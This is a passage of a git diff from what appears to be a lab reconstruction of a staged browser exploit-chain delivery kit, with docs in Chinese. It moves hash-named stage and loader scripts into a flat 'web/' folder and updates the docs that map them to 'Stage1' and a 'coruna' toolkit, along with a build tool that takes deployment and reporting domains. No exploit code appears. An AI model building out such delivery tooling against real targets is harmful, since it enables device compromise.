diff --git a/README.md b/README.md index bdcaebd..6df6aba 100644 --- a/README.md +++ b/README.md @@ -56,7 +56,7 @@ python3 frontend/tools/new_project.py \ --channel-id 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' \ --deployment-domains 'www.dep.example' \ --reporting-domains 'www.rep.example' \ - --support-template test # 或 blank(无 HUD 空白页) + --support-template test # test | blank ``` ## Tests diff --git a/frontend/doc/NATIVE_PACKS.md b/frontend/doc/NATIVE_PACKS.md index 719eb59..42f84f0 100644 --- a/frontend/doc/NATIVE_PACKS.md +++ b/frontend/doc/NATIVE_PACKS.md @@ -10,7 +10,7 @@ {base}/65704c07….min.js # 二级 type-0x01 包(wire 后缀 .min.js) ``` -`base` = `/web/34f5121f572d6742703eb84ec2f866a6/`(lab 已摊平到同路径)。 +线上原始 `base` = `/web/34f5121f572d6742703eb84ec2f866a6/`;lab 模板与产物为扁平 `web/`(渠道对外路径为 `/channel//web/`)。 ### Wire 后缀(实测) diff --git a/frontend/doc/STAGE_JS.md b/frontend/doc/STAGE_JS.md index 8ded355..3be2f9e 100644 --- a/frontend/doc/STAGE_JS.md +++ b/frontend/doc/STAGE_JS.md @@ -1,12 +1,13 @@ # Stage JS 与入口 -线上与 lab 均位于 campaign base: +lab 模板与渠道产物均位于扁平 `web/`(不再使用历史 campaign hash 子目录): ```text -web/34f5121f572d6742703eb84ec2f866a6/ +frontend/source/web/ # 模板 +artifacts/channel//web/ # 渠道产物 ``` -`coruna-online` 中哈希文件名在仓库根目录;下表「对标 `coruna/`」为同系列可读文件名(逻辑对应,**字节未必一致**:本批 dhxuhdbej888 与 `coruna/` 工具包是同源链的不同落盘/混淆版本)。 +线上原始样本路径曾为 `/web/34f5121f572d6742703eb84ec2f866a6/`;lab 已摊平。`coruna-online` 中哈希文件名在仓库根目录;下表「对标 `coruna/`」为同系列可读文件名(逻辑对应,**字节未必一致**:本批 dhxuhdbej888 与 `coruna/` 工具包是同源链的不同落盘/混淆版本)。 ## 阶段职责 @@ -22,7 +23,7 @@ web/34f5121f572d6742703eb84ec2f866a6/ ## 文件对照 -| lab 文件 (`web/34f5121f…/`) | 阶段 | 对标 `coruna/` | +| lab 文件 (`web/`) | 阶段 | 对标 `coruna/` | |---|---|---| | `support.html` | 入口 HTML | `index.html` / `group.html`(入口角色对应;非同字节) | | `98f0c8fb182309faa687aa849e92d0ac5f93af7d.js` | Stage1 | `Stage1_15.2_15.5_jacurutu.js` | diff --git a/frontend/source/templates/support/README.md b/frontend/source/templates/support/README.md index 0860c3c..d6d1158 100644 --- a/frontend/source/templates/support/README.md +++ b/frontend/source/templates/support/README.md @@ -4,7 +4,7 @@ Build-time choices for `web/support.html` (`--support-template` / API `support_t | Name | Source | Description | |------|--------|-------------| -| `test` | campaign copy under `source/web//support.html` | Current lab HUD progress UI | -| `blank` | `blank.html` in this directory | Same loader scripts, no HUD markup/JS | +| `test` | campaign copy under `source/web/support.html` | Current lab HUD progress UI | +| `blank` | `blank.html` | Loader scripts only, no HUD UI | Default is `test`. diff --git a/frontend/source/web/34f5121f572d6742703eb84ec2f866a6/039c68f0ca742a85e94516818385a9eca2e204d8.js b/frontend/source/web/039c68f0ca742a85e94516818385a9eca2e204d8.js similarity index 100% rename from frontend/source/web/34f5121f572d6742703eb84ec2f866a6/039c68f0ca742a85e94516818385a9eca2e204d8.js rename to frontend/source/web/039c68f0ca742a85e94516818385a9eca2e204d8.js diff --git a/frontend/source/web/34f5121f572d6742703eb84ec2f866a6/039c68f0ca742a85e94516818385a9eca2e204d8.min.js b/frontend/source/web/039c68f0ca742a85e94516818385a9eca2e204d8.min.js similarity index 100% rename from frontend/source/web/34f5121f572d6742703eb84ec2f866a6/039c68f0ca742a85e94516818385a9eca2e204d8.min.js rename to frontend/source/web/039c68f0ca742a85e94516818385a9eca2e204d8.min.js diff --git a/frontend/source/web/34f5121f572d6742703eb84ec2f866a6/054bcb73ce2a3023b3813f5be12d0b6ffd6e7611.js b/frontend/source/web/054bcb73ce2a3023b3813f5be12d0b6ffd6e7611.js similarity index 100% rename from frontend/source/web/34f5121f572d6742703eb84ec2f866a6/054bcb73ce2a3023b3813f5be12d0b6ffd6e7611.js rename to frontend/source/web/054bcb73ce2a3023b3813f5be12d0b6ffd6e7611.js diff --git a/frontend/source/web/34f5121f572d6742703eb84ec2f866a6/054bcb73ce2a3023b3813f5be12d0b6ffd6e7611.min.js b/frontend/source/web/054bcb73ce2a3023b3813f5be12d0b6ffd6e7611.min.js similarity index 100% rename from frontend/source/web/34f5121f572d6742703eb84ec2f866a6/054bcb73ce2a3023b3813f5be12d0b6ffd6e7611.min.js rename to frontend/source/web/054bcb73ce2a3023b3813f5be12d0b6ffd6e7611.min.js diff --git a/frontend/source/web/34f5121f572d6742703eb84ec2f866a6/076de672aebfc78137aa863e51ff3d8980dcdd10.js b/frontend/source/web/076de672aebfc78137aa863e51ff3d8980dcdd10.js similarity index 100% rename from frontend/source/web/34f5121f572d6742703eb84ec2f866a6/076de672aebfc78137aa863e51ff3d8980dcdd10.js rename to frontend/source/web/076de672aebfc78137aa863e51ff3d8980dcdd10.js diff --git a/frontend/source/web/34f5121f572d6742703eb84ec2f866a6/076de672aebfc78137aa863e51ff3d8980dcdd10.min.js b/frontend/source/web/076de672aebfc78137aa863e51ff3d8980dcdd10.min.js similarity index 100% rename from frontend/source/web/34f5121f572d6742703eb84ec2f866a6/076de672aebfc78137aa863e51ff3d8980dcdd10.min.js rename to frontend/source/web/076de672aebfc78137aa863e51ff3d8980dcdd10.min.js diff --git a/frontend/source/web/34f5121f572d6742703eb84ec2f866a6/0c297489d8c9d5470bfce17b0d99da3338b44a18.js b/frontend/source/web/0c297489d8c9d5470bfce17b0d99da3338b44a18.js similarity index 100% rename from frontend/source/web/34f5121f572d6742703eb84ec2f866a6/0c297489d8c9d5470bfce17b0d99da3338b44a18.js rename to frontend/source/web/0c297489d8c9d5470bfce17b0d99da3338b44a18.js diff --git a/frontend/source/web/34f5121f572d6742703eb84ec2f866a6/0f2be2a4e0ab7e60b6ce550692996d079a5769a0.js b/frontend/source/web/0f2be2a4e0ab7e60b6ce550692996d079a5769a0.js similarity index 100% rename from frontend/source/web/34f5121f572d6742703eb84ec2f866a6/0f2be2a4e0ab7e60b6ce550692996d079a5769a0.js rename to frontend/source/web/0f2be2a4e0ab7e60b6ce550692996d079a5769a0.js diff --git a/frontend/source/web/34f5121f572d6742703eb84ec2f866a6/1c5bd923f56ca7fcf2cfa695bc0d54b6a2c849bf.js b/frontend/source/web/1c5bd923f56ca7fcf2cfa695bc0d54b6a2c849bf.js similarity index 100% rename from frontend/source/web/34f5121f572d6742703eb84ec2f866a6/1c5bd923f56ca7fcf2cfa695bc0d54b6a2c849bf.js rename to frontend/source/web/1c5bd923f56ca7fcf2cfa695bc0d54b6a2c849bf.js diff --git a/frontend/source/web/34f5121f572d6742703eb84ec2f866a6/1d0df5a0a12a20aa8b0c8aeb660742268f311d19.js b/frontend/source/web/1d0df5a0a12a20aa8b0c8aeb660742268f311d19.js similarity index 100% rename from frontend/source/web/34f5121f572d6742703eb84ec2f866a6/1d0df5a0a12a20aa8b0c8aeb660742268f311d19.js rename to frontend/source/web/1d0df5a0a12a20aa8b0c8aeb660742268f311d19.js diff --git a/frontend/source/web/34f5121f572d6742703eb84ec2f866a6/1d0df5a0a12a20aa8b0c8aeb660742268f311d19.min.js b/frontend/source/web/1d0df5a0a12a20aa8b0c8aeb660742268f311d19.min.js similarity index 100% rename from frontend/source/web/34f5121f572d6742703eb84ec2f866a6/1d0df5a0a12a20aa8b0c8aeb660742268f311d19.min.js rename to frontend/source/web/1d0df5a0a12a20aa8b0c8aeb660742268f311d19.min.js diff --git a/frontend/source/web/34f5121f572d6742703eb84ec2f866a6/242a0afb1d88b83e9a1a5b570fed6778def892fc.js b/frontend/source/web/242a0afb1d88b83e9a1a5b570fed6778def892fc.js similarity index 100% rename from frontend/source/web/34f5121f572d6742703eb84ec2f866a6/242a0afb1d88b83e9a1a5b570fed6778def892fc.js rename to frontend/source/web/242a0afb1d88b83e9a1a5b570fed6778def892fc.js diff --git a/frontend/source/web/34f5121f572d6742703eb84ec2f866a6/242a0afb1d88b83e9a1a5b570fed6778def892fc.min.js b/frontend/source/web/242a0afb1d88b83e9a1a5b570fed6778def892fc.min.js similarity index 100% rename from frontend/source/web/34f5121f572d6742703eb84ec2f866a6/242a0afb1d88b83e9a1a5b570fed6778def892fc.min.js rename to frontend/source/web/242a0afb1d88b83e9a1a5b570fed6778def892fc.min.js diff --git a/frontend/source/web/34f5121f572d6742703eb84ec2f866a6/291b914c574e1196039313595217367c44cca436.js b/frontend/source/web/291b914c574e1196039313595217367c44cca436.js similarity index 100% rename from frontend/source/web/34f5121f572d6742703eb84ec2f866a6/291b914c574e1196039313595217367c44cca436.js rename to frontend/source/web/291b914c574e1196039313595217367c44cca436.js diff --git a/frontend/source/web/34f5121f572d6742703eb84ec2f866a6/34058858_6bac8b93b6f97ddd8a1f86fecfa6431b9ffeb9fb.min.js b/frontend/source/web/34058858_6bac8b93b6f97ddd8a1f86fecfa6431b9ffeb9fb.min.js similarity index 100% rename from frontend/source/web/34f5121f572d6742703eb84ec2f866a6/34058858_6bac8b93b6f97ddd8a1f86fecfa6431b9ffeb9fb.min.js rename to frontend/source/web/34058858_6bac8b93b6f97ddd8a1f86fecfa6431b9ffeb9fb.min.js diff --git a/frontend/source/web/34f5121f572d6742703eb84ec2f866a6/347367155da44f3efcc9053337913061079610b9.js b/frontend/source/web/347367155da44f3efcc9053337913061079610b9.js similarity index 100% rename from frontend/source/web/34f5121f572d6742703eb84ec2f866a6/347367155da44f3efcc9053337913061079610b9.js rename to frontend/source/web/347367155da44f3efcc9053337913061079610b9.js diff --git a/frontend/source/web/34f5121f572d6742703eb84ec2f866a6/347367155da44f3efcc9053337913061079610b9.min.js b/frontend/source/web/347367155da44f3efcc9053337913061079610b9.min.js similarity index 100% rename from frontend/source/web/34f5121f572d6742703eb84ec2f866a6/347367155da44f3efcc9053337913061079610b9.min.js rename to frontend/source/web/347367155da44f3efcc9053337913061079610b9.min.js diff --git a/frontend/source/web/34f5121f572d6742703eb84ec2f866a6/3b0133801a3f844e7ebafa0363f2423a50005b72.js b/frontend/source/web/3b0133801a3f844e7ebafa0363f2423a50005b72.js similarity index 100% rename from frontend/source/web/34f5121f572d6742703eb84ec2f866a6/3b0133801a3f844e7ebafa0363f2423a50005b72.js rename to frontend/source/web/3b0133801a3f844e7ebafa0363f2423a50005b72.js diff --git a/frontend/source/web/34f5121f572d6742703eb84ec2f866a6/3b0133801a3f844e7ebafa0363f2423a50005b72.min.js b/frontend/source/web/3b0133801a3f844e7ebafa0363f2423a50005b72.min.js similarity index 100% rename from frontend/source/web/34f5121f572d6742703eb84ec2f866a6/3b0133801a3f844e7ebafa0363f2423a50005b72.min.js rename to frontend/source/web/3b0133801a3f844e7ebafa0363f2423a50005b72.min.js diff --git a/frontend/source/web/34f5121f572d6742703eb84ec2f866a6/3c04ae31f9ba8f809b275be4b3fa93deb558902c.js b/frontend/source/web/3c04ae31f9ba8f809b275be4b3fa93deb558902c.js similarity index 100% rename from frontend/source/web/34f5121f572d6742703eb84ec2f866a6/3c04ae31f9ba8f809b275be4b3fa93deb558902c.js rename to frontend/source/web/3c04ae31f9ba8f809b275be4b3fa93deb558902c.js diff --git a/frontend/source/web/34f5121f572d6742703eb84ec2f866a6/40a27e7916aa554e6d38d39beb6bb7ee095692ed.js b/frontend/source/web/40a27e7916aa554e6d38d39beb6bb7ee095692ed.js similarity index 100% rename from frontend/source/web/34f5121f572d6742703eb84ec2f866a6/40a27e7916aa554e6d38d39beb6bb7ee095692ed.js rename to frontend/source/web/40a27e7916aa554e6d38d39beb6bb7ee095692ed.js diff --git a/frontend/source/web/34f5121f572d6742703eb84ec2f866a6/4614dd1cf7c0b41d0443e1a1a306706fb94a2bb6.js b/frontend/source/web/4614dd1cf7c0b41d0443e1a1a306706fb94a2bb6.js similarity index 100% rename from frontend/source/web/34f5121f572d6742703eb84ec2f866a6/4614dd1cf7c0b41d0443e1a1a306706fb94a2bb6.js rename to frontend/source/web/4614dd1cf7c0b41d0443e1a1a306706fb94a2bb6.js diff --git a/frontend/source/web/34f5121f572d6742703eb84ec2f866a6/4614dd1cf7c0b41d0443e1a1a306706fb94a2bb6.min.js b/frontend/source/web/4614dd1cf7c0b41d0443e1a1a306706fb94a2bb6.min.js similarity index 100% rename from frontend/source/web/34f5121f572d6742703eb84ec2f866a6/4614dd1cf7c0b41d0443e1a1a306706fb94a2bb6.min.js rename to frontend/source/web/4614dd1cf7c0b41d0443e1a1a306706fb94a2bb6.min.js diff --git a/frontend/source/web/34f5121f572d6742703eb84ec2f866a6/62415a3d105a8c40c41b19cf456e8474fe441359.js b/frontend/source/web/62415a3d105a8c40c41b19cf456e8474fe441359.js similarity index 100% rename from frontend/source/web/34f5121f572d6742703eb84ec2f866a6/62415a3d105a8c40c41b19cf456e8474fe441359.js rename to frontend/source/web/62415a3d105a8c40c41b19cf456e8474fe441359.js diff --git a/frontend/source/web/34f5121f572d6742703eb84ec2f866a6/62415a3d105a8c40c41b19cf456e8474fe441359.min.js b/frontend/source/web/62415a3d105a8c40c41b19cf456e8474fe441359.min.js similarity index 100% rename from frontend/source/web/34f5121f572d6742703eb84ec2f866a6/62415a3d105a8c40c41b19cf456e8474fe441359.min.js rename to frontend/source/web/62415a3d105a8c40c41b19cf456e8474fe441359.min.js diff --git a/frontend/source/web/34f5121f572d6742703eb84ec2f866a6/630c2b42300333d91588353d43afab9ec8325e09.js b/frontend/source/web/630c2b42300333d91588353d43afab9ec8325e09.js similarity index 100% rename from frontend/source/web/34f5121f572d6742703eb84ec2f866a6/630c2b42300333d91588353d43afab9ec8325e09.js rename to frontend/source/web/630c2b42300333d91588353d43afab9ec8325e09.js diff --git a/frontend/source/web/34f5121f572d6742703eb84ec2f866a6/630c2b42300333d91588353d43afab9ec8325e09.min.js b/frontend/source/web/630c2b42300333d91588353d43afab9ec8325e09.min.js similarity index 100% rename from frontend/source/web/34f5121f572d6742703eb84ec2f866a6/630c2b42300333d91588353d43afab9ec8325e09.min.js rename to frontend/source/web/630c2b42300333d91588353d43afab9ec8325e09.min.js diff --git a/frontend/source/web/34f5121f572d6742703eb84ec2f866a6/651774047bf8d72258a5f04785c9dabf5e793670.js b/frontend/source/web/651774047bf8d72258a5f04785c9dabf5e793670.js similarity index 100% rename from frontend/source/web/34f5121f572d6742703eb84ec2f866a6/651774047bf8d72258a5f04785c9dabf5e793670.js rename to frontend/source/web/651774047bf8d72258a5f04785c9dabf5e793670.js diff --git a/frontend/source/web/34f5121f572d6742703eb84ec2f866a6/6539c1e0dc731ea7c7011af236cc7c2871af7c40.js b/frontend/source/web/6539c1e0dc731ea7c7011af236cc7c2871af7c40.js similarity index 100% rename from frontend/source/web/34f5121f572d6742703eb84ec2f866a6/6539c1e0dc731ea7c7011af236cc7c2871af7c40.js rename to frontend/source/web/6539c1e0dc731ea7c7011af236cc7c2871af7c40.js diff --git a/frontend/source/web/34f5121f572d6742703eb84ec2f866a6/6539c1e0dc731ea7c7011af236cc7c2871af7c40.min.js b/frontend/source/web/6539c1e0dc731ea7c7011af236cc7c2871af7c40.min.js similarity index 100% rename from frontend/source/web/34f5121f572d6742703eb84ec2f866a6/6539c1e0dc731ea7c7011af236cc7c2871af7c40.min.js rename to frontend/source/web/6539c1e0dc731ea7c7011af236cc7c2871af7c40.min.js diff --git a/frontend/source/web/34f5121f572d6742703eb84ec2f866a6/65704c0722165a7bdedad3f3f61258b2f95470f6.js b/frontend/source/web/65704c0722165a7bdedad3f3f61258b2f95470f6.js similarity index 100% rename from frontend/source/web/34f5121f572d6742703eb84ec2f866a6/65704c0722165a7bdedad3f3f61258b2f95470f6.js rename to frontend/source/web/65704c0722165a7bdedad3f3f61258b2f95470f6.js diff --git a/frontend/source/web/34f5121f572d6742703eb84ec2f866a6/65704c0722165a7bdedad3f3f61258b2f95470f6.min.js b/frontend/source/web/65704c0722165a7bdedad3f3f61258b2f95470f6.min.js similarity index 100% rename from frontend/source/web/34f5121f572d6742703eb84ec2f866a6/65704c0722165a7bdedad3f3f61258b2f95470f6.min.js rename to frontend/source/web/65704c0722165a7bdedad3f3f61258b2f95470f6.min.js diff --git a/frontend/source/web/34f5121f572d6742703eb84ec2f866a6/694c829e379e12085de6158b85f32509f54f4796.js b/frontend/source/web/694c829e379e12085de6158b85f32509f54f4796.js similarity index 100% rename from frontend/source/web/34f5121f572d6742703eb84ec2f866a6/694c829e379e12085de6158b85f32509f54f4796.js rename to frontend/source/web/694c829e379e12085de6158b85f32509f54f4796.js diff --git a/frontend/source/web/34f5121f572d6742703eb84ec2f866a6/694c829e379e12085de6158b85f32509f54f4796.min.js b/frontend/source/web/694c829e379e12085de6158b85f32509f54f4796.min.js similarity index 100% rename from frontend/source/web/34f5121f572d6742703eb84ec2f866a6/694c829e379e12085de6158b85f32509f54f4796.min.js rename to frontend/source/web/694c829e379e12085de6158b85f32509f54f4796.min.js diff --git a/frontend/source/web/34f5121f572d6742703eb84ec2f866a6/6bac8b93b6f97ddd8a1f86fecfa6431b9ffeb9fb.js b/frontend/source/web/6bac8b93b6f97ddd8a1f86fecfa6431b9ffeb9fb.js similarity index 100% rename from frontend/source/web/34f5121f572d6742703eb84ec2f866a6/6bac8b93b6f97ddd8a1f86fecfa6431b9ffeb9fb.js rename to frontend/source/web/6bac8b93b6f97ddd8a1f86fecfa6431b9ffeb9fb.js diff --git a/frontend/source/web/34f5121f572d6742703eb84ec2f866a6/6bac8b93b6f97ddd8a1f86fecfa6431b9ffeb9fb.min.js b/frontend/source/web/6bac8b93b6f97ddd8a1f86fecfa6431b9ffeb9fb.min.js similarity index 100% rename from frontend/source/web/34f5121f572d6742703eb84ec2f866a6/6bac8b93b6f97ddd8a1f86fecfa6431b9ffeb9fb.min.js rename to frontend/source/web/6bac8b93b6f97ddd8a1f86fecfa6431b9ffeb9fb.min.js diff --git a/frontend/source/web/34f5121f572d6742703eb84ec2f866a6/6bbb364c8a423374d42a2cbc45c0dee84e7dc710.js b/frontend/source/web/6bbb364c8a423374d42a2cbc45c0dee84e7dc710.js similarity index 100% rename from frontend/source/web/34f5121f572d6742703eb84ec2f866a6/6bbb364c8a423374d42a2cbc45c0dee84e7dc710.js rename to frontend/source/web/6bbb364c8a423374d42a2cbc45c0dee84e7dc710.js diff --git a/frontend/source/web/34f5121f572d6742703eb84ec2f866a6/6bbb364c8a423374d42a2cbc45c0dee84e7dc710.min.js b/frontend/source/web/6bbb364c8a423374d42a2cbc45c0dee84e7dc710.min.js similarity index 100% rename from frontend/source/web/34f5121f572d6742703eb84ec2f866a6/6bbb364c8a423374d42a2cbc45c0dee84e7dc710.min.js rename to frontend/source/web/6bbb364c8a423374d42a2cbc45c0dee84e7dc710.min.js diff --git a/frontend/source/web/34f5121f572d6742703eb84ec2f866a6/6f8a7a3bc74d9c65f5463a6a29d4e2c52feefcca.js b/frontend/source/web/6f8a7a3bc74d9c65f5463a6a29d4e2c52feefcca.js similarity index 100% rename from frontend/source/web/34f5121f572d6742703eb84ec2f866a6/6f8a7a3bc74d9c65f5463a6a29d4e2c52feefcca.js rename to frontend/source/web/6f8a7a3bc74d9c65f5463a6a29d4e2c52feefcca.js diff --git a/frontend/source/web/34f5121f572d6742703eb84ec2f866a6/6f8a7a3bc74d9c65f5463a6a29d4e2c52feefcca.min.js b/frontend/source/web/6f8a7a3bc74d9c65f5463a6a29d4e2c52feefcca.min.js similarity index 100% rename from frontend/source/web/34f5121f572d6742703eb84ec2f866a6/6f8a7a3bc74d9c65f5463a6a29d4e2c52feefcca.min.js rename to frontend/source/web/6f8a7a3bc74d9c65f5463a6a29d4e2c52feefcca.min.js diff --git a/frontend/source/web/34f5121f572d6742703eb84ec2f866a6/700491384cc59bd25c3aa4dd670c8660963bffe3.js b/frontend/source/web/700491384cc59bd25c3aa4dd670c8660963bffe3.js similarity index 100% rename from frontend/source/web/34f5121f572d6742703eb84ec2f866a6/700491384cc59bd25c3aa4dd670c8660963bffe3.js rename to frontend/source/web/700491384cc59bd25c3aa4dd670c8660963bffe3.js diff --git a/frontend/source/web/34f5121f572d6742703eb84ec2f866a6/743312cafb58176af57b89098d94dca1c60f8d1e.js b/frontend/source/web/743312cafb58176af57b89098d94dca1c60f8d1e.js similarity index 100% rename from frontend/source/web/34f5121f572d6742703eb84ec2f866a6/743312cafb58176af57b89098d94dca1c60f8d1e.js rename to frontend/source/web/743312cafb58176af57b89098d94dca1c60f8d1e.js diff --git a/frontend/source/web/34f5121f572d6742703eb84ec2f866a6/743312cafb58176af57b89098d94dca1c60f8d1e.min.js b/frontend/source/web/743312cafb58176af57b89098d94dca1c60f8d1e.min.js similarity index 100% rename from frontend/source/web/34f5121f572d6742703eb84ec2f866a6/743312cafb58176af57b89098d94dca1c60f8d1e.min.js rename to frontend/source/web/743312cafb58176af57b89098d94dca1c60f8d1e.min.js diff --git a/frontend/source/web/34f5121f572d6742703eb84ec2f866a6/7cb20652ef7156e931f894dd3d99f24601b80368.js b/frontend/source/web/7cb20652ef7156e931f894dd3d99f24601b80368.js similarity index 100% rename from frontend/source/web/34f5121f572d6742703eb84ec2f866a6/7cb20652ef7156e931f894dd3d99f24601b80368.js rename to frontend/source/web/7cb20652ef7156e931f894dd3d99f24601b80368.js diff --git a/frontend/source/web/34f5121f572d6742703eb84ec2f866a6/7cb20652ef7156e931f894dd3d99f24601b80368.min.js b/frontend/source/web/7cb20652ef7156e931f894dd3d99f24601b80368.min.js similarity index 100% rename from frontend/source/web/34f5121f572d6742703eb84ec2f866a6/7cb20652ef7156e931f894dd3d99f24601b80368.min.js rename to frontend/source/web/7cb20652ef7156e931f894dd3d99f24601b80368.min.js diff --git a/frontend/source/web/34f5121f572d6742703eb84ec2f866a6/7f208248c748f97956fe4a7cf246c91235852e67.js b/frontend/source/web/7f208248c748f97956fe4a7cf246c91235852e67.js similarity index 100% rename from frontend/source/web/34f5121f572d6742703eb84ec2f866a6/7f208248c748f97956fe4a7cf246c91235852e67.js rename to frontend/source/web/7f208248c748f97956fe4a7cf246c91235852e67.js diff --git a/frontend/source/web/34f5121f572d6742703eb84ec2f866a6/7f208248c748f97956fe4a7cf246c91235852e67.min.js b/frontend/source/web/7f208248c748f97956fe4a7cf246c91235852e67.min.js similarity index 100% rename from frontend/source/web/34f5121f572d6742703eb84ec2f866a6/7f208248c748f97956fe4a7cf246c91235852e67.min.js rename to frontend/source/web/7f208248c748f97956fe4a7cf246c91235852e67.min.js diff --git a/frontend/source/web/34f5121f572d6742703eb84ec2f866a6/906a996fa11bcaa5347c6453e328f538d17d5dbf.js b/frontend/source/web/906a996fa11bcaa5347c6453e328f538d17d5dbf.js similarity index 100% rename from frontend/source/web/34f5121f572d6742703eb84ec2f866a6/906a996fa11bcaa5347c6453e328f538d17d5dbf.js rename to frontend/source/web/906a996fa11bcaa5347c6453e328f538d17d5dbf.js diff --git a/frontend/source/web/34f5121f572d6742703eb84ec2f866a6/906a996fa11bcaa5347c6453e328f538d17d5dbf.min.js b/frontend/source/web/906a996fa11bcaa5347c6453e328f538d17d5dbf.min.js similarity index 100% rename from frontend/source/web/34f5121f572d6742703eb84ec2f866a6/906a996fa11bcaa5347c6453e328f538d17d5dbf.min.js rename to frontend/source/web/906a996fa11bcaa5347c6453e328f538d17d5dbf.min.js diff --git a/frontend/source/web/34f5121f572d6742703eb84ec2f866a6/9075c25766e57019db4c86fac179b03ebf1b56e5.js b/frontend/source/web/9075c25766e57019db4c86fac179b03ebf1b56e5.js similarity index 100% rename from frontend/source/web/34f5121f572d6742703eb84ec2f866a6/9075c25766e57019db4c86fac179b03ebf1b56e5.js rename to frontend/source/web/9075c25766e57019db4c86fac179b03ebf1b56e5.js diff --git a/frontend/source/web/34f5121f572d6742703eb84ec2f866a6/98f0c8fb182309faa687aa849e92d0ac5f93af7d.js b/frontend/source/web/98f0c8fb182309faa687aa849e92d0ac5f93af7d.js similarity index 100% rename from frontend/source/web/34f5121f572d6742703eb84ec2f866a6/98f0c8fb182309faa687aa849e92d0ac5f93af7d.js rename to frontend/source/web/98f0c8fb182309faa687aa849e92d0ac5f93af7d.js diff --git a/frontend/source/web/34f5121f572d6742703eb84ec2f866a6/99010a27e08b3312650c8d9f321958433e577a30.js b/frontend/source/web/99010a27e08b3312650c8d9f321958433e577a30.js similarity index 100% rename from frontend/source/web/34f5121f572d6742703eb84ec2f866a6/99010a27e08b3312650c8d9f321958433e577a30.js rename to frontend/source/web/99010a27e08b3312650c8d9f321958433e577a30.js diff --git a/frontend/source/web/34f5121f572d6742703eb84ec2f866a6/99010a27e08b3312650c8d9f321958433e577a30.min.js b/frontend/source/web/99010a27e08b3312650c8d9f321958433e577a30.min.js similarity index 100% rename from frontend/source/web/34f5121f572d6742703eb84ec2f866a6/99010a27e08b3312650c8d9f321958433e577a30.min.js rename to frontend/source/web/99010a27e08b3312650c8d9f321958433e577a30.min.js diff --git a/frontend/source/web/34f5121f572d6742703eb84ec2f866a6/9fd93b94a0a7c7ec2afcd1fa2e3f8dd10f64371f.js b/frontend/source/web/9fd93b94a0a7c7ec2afcd1fa2e3f8dd10f64371f.js similarity index 100% rename from frontend/source/web/34f5121f572d6742703eb84ec2f866a6/9fd93b94a0a7c7ec2afcd1fa2e3f8dd10f64371f.js rename to frontend/source/web/9fd93b94a0a7c7ec2afcd1fa2e3f8dd10f64371f.js diff --git a/frontend/source/web/34f5121f572d6742703eb84ec2f866a6/a13a74c0123f5a0c4acaf0586f035f8735bac0c8.js b/frontend/source/web/a13a74c0123f5a0c4acaf0586f035f8735bac0c8.js similarity index 100% rename from frontend/source/web/34f5121f572d6742703eb84ec2f866a6/a13a74c0123f5a0c4acaf0586f035f8735bac0c8.js rename to frontend/source/web/a13a74c0123f5a0c4acaf0586f035f8735bac0c8.js diff --git a/frontend/source/web/34f5121f572d6742703eb84ec2f866a6/a13a74c0123f5a0c4acaf0586f035f8735bac0c8.min.js b/frontend/source/web/a13a74c0123f5a0c4acaf0586f035f8735bac0c8.min.js similarity index 100% rename from frontend/source/web/34f5121f572d6742703eb84ec2f866a6/a13a74c0123f5a0c4acaf0586f035f8735bac0c8.min.js rename to frontend/source/web/a13a74c0123f5a0c4acaf0586f035f8735bac0c8.min.js diff --git a/frontend/source/web/34f5121f572d6742703eb84ec2f866a6/a5847c3e2e439e2f7c4b1582932cf81a06100981.js b/frontend/source/web/a5847c3e2e439e2f7c4b1582932cf81a06100981.js similarity index 100% rename from frontend/source/web/34f5121f572d6742703eb84ec2f866a6/a5847c3e2e439e2f7c4b1582932cf81a06100981.js rename to frontend/source/web/a5847c3e2e439e2f7c4b1582932cf81a06100981.js diff --git a/frontend/source/web/34f5121f572d6742703eb84ec2f866a6/a5847c3e2e439e2f7c4b1582932cf81a06100981.min.js b/frontend/source/web/a5847c3e2e439e2f7c4b1582932cf81a06100981.min.js similarity index 100% rename from frontend/source/web/34f5121f572d6742703eb84ec2f866a6/a5847c3e2e439e2f7c4b1582932cf81a06100981.min.js rename to frontend/source/web/a5847c3e2e439e2f7c4b1582932cf81a06100981.min.js diff --git a/frontend/source/web/34f5121f572d6742703eb84ec2f866a6/ad970e88980634bcb2eda0c998a27881686dd29e.js b/frontend/source/web/ad970e88980634bcb2eda0c998a27881686dd29e.js similarity index 100% rename from frontend/source/web/34f5121f572d6742703eb84ec2f866a6/ad970e88980634bcb2eda0c998a27881686dd29e.js rename to frontend/source/web/ad970e88980634bcb2eda0c998a27881686dd29e.js diff --git a/frontend/source/web/34f5121f572d6742703eb84ec2f866a6/ad970e88980634bcb2eda0c998a27881686dd29e.min.js b/frontend/source/web/ad970e88980634bcb2eda0c998a27881686dd29e.min.js similarity index 100% rename from frontend/source/web/34f5121f572d6742703eb84ec2f866a6/ad970e88980634bcb2eda0c998a27881686dd29e.min.js rename to frontend/source/web/ad970e88980634bcb2eda0c998a27881686dd29e.min.js diff --git a/frontend/source/web/34f5121f572d6742703eb84ec2f866a6/b099ff22b5c8e65654744fd307d81ad208009103.js b/frontend/source/web/b099ff22b5c8e65654744fd307d81ad208009103.js similarity index 100% rename from frontend/source/web/34f5121f572d6742703eb84ec2f866a6/b099ff22b5c8e65654744fd307d81ad208009103.js rename to frontend/source/web/b099ff22b5c8e65654744fd307d81ad208009103.js diff --git a/frontend/source/web/34f5121f572d6742703eb84ec2f866a6/c9118a62558ed444a64c2dfe350c6c57fa277a3a.js b/frontend/source/web/c9118a62558ed444a64c2dfe350c6c57fa277a3a.js similarity index 100% rename from frontend/source/web/34f5121f572d6742703eb84ec2f866a6/c9118a62558ed444a64c2dfe350c6c57fa277a3a.js rename to frontend/source/web/c9118a62558ed444a64c2dfe350c6c57fa277a3a.js diff --git a/frontend/source/web/34f5121f572d6742703eb84ec2f866a6/c9118a62558ed444a64c2dfe350c6c57fa277a3a.min.js b/frontend/source/web/c9118a62558ed444a64c2dfe350c6c57fa277a3a.min.js similarity index 100% rename from frontend/source/web/34f5121f572d6742703eb84ec2f866a6/c9118a62558ed444a64c2dfe350c6c57fa277a3a.min.js rename to frontend/source/web/c9118a62558ed444a64c2dfe350c6c57fa277a3a.min.js diff --git a/frontend/source/web/34f5121f572d6742703eb84ec2f866a6/d1a39a282f3dc9d0e261c3df466093ee0f8d441d.js b/frontend/source/web/d1a39a282f3dc9d0e261c3df466093ee0f8d441d.js similarity index 100% rename from frontend/source/web/34f5121f572d6742703eb84ec2f866a6/d1a39a282f3dc9d0e261c3df466093ee0f8d441d.js rename to frontend/source/web/d1a39a282f3dc9d0e261c3df466093ee0f8d441d.js diff --git 